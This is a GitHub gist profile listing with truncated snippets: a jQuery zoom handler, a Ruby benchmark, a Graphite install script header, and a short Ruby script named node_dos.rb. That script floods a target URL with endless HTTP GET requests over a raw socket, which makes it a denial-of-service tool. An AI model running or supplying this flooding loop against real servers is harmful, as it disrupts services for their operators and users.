Skip to content

Instantly share code, notes, and snippets.

View kaspergrubbe's full-sized avatar

Kasper Grubbe kaspergrubbe

View GitHub Profile
$(document).ready(function(){
$(".zoomable").click (function() {
if($(this).height() == 480){
$(this).animate({
height: '980',
width: '980'
});
}else{
$(this).animate({
height: '480px',
@kaspergrubbe
kaspergrubbe / bm-4.rb
Created August 11, 2014 20:10 — forked from ujifgc/bm-4.rb
#!/usr/bin/env ruby
require 'benchmark'
PREFIX = %W(TiB GiB MiB KiB B).freeze
UNITS = %W(B KiB MiB GiB TiB).freeze
def as_size1( s )
s = s.to_f
i = PREFIX.length - 1
require "socket"
require "uri"
url = URI.parse(ARGV.first || abort("Usage: node_dos.rb <url>"))
sock = TCPSocket.new(url.host, url.port)
loop do
sock.write "GET / HTTP/1.1\r\n\r\n"
end
@kaspergrubbe
kaspergrubbe / install-graphite-ubuntu-13.04.sh
Last active October 4, 2020 11:53 — forked from jgeurts/install-graphite-ubuntu-12.04.sh
Don't overwrite the local_settings.py
####################################
# BASIC REQUIREMENTS
# http://graphite.wikidot.com/installation
# http://geek.michaelgrace.org/2011/09/how-to-install-graphite-on-ubuntu/
# Last tested & updated 16. June 2013
####################################
# This is apparantly needed for python when running manage.py
# described here: http://stackoverflow.com/questions/11593556/django-createsuperuser-not-working
export LANG=en_US.UTF-8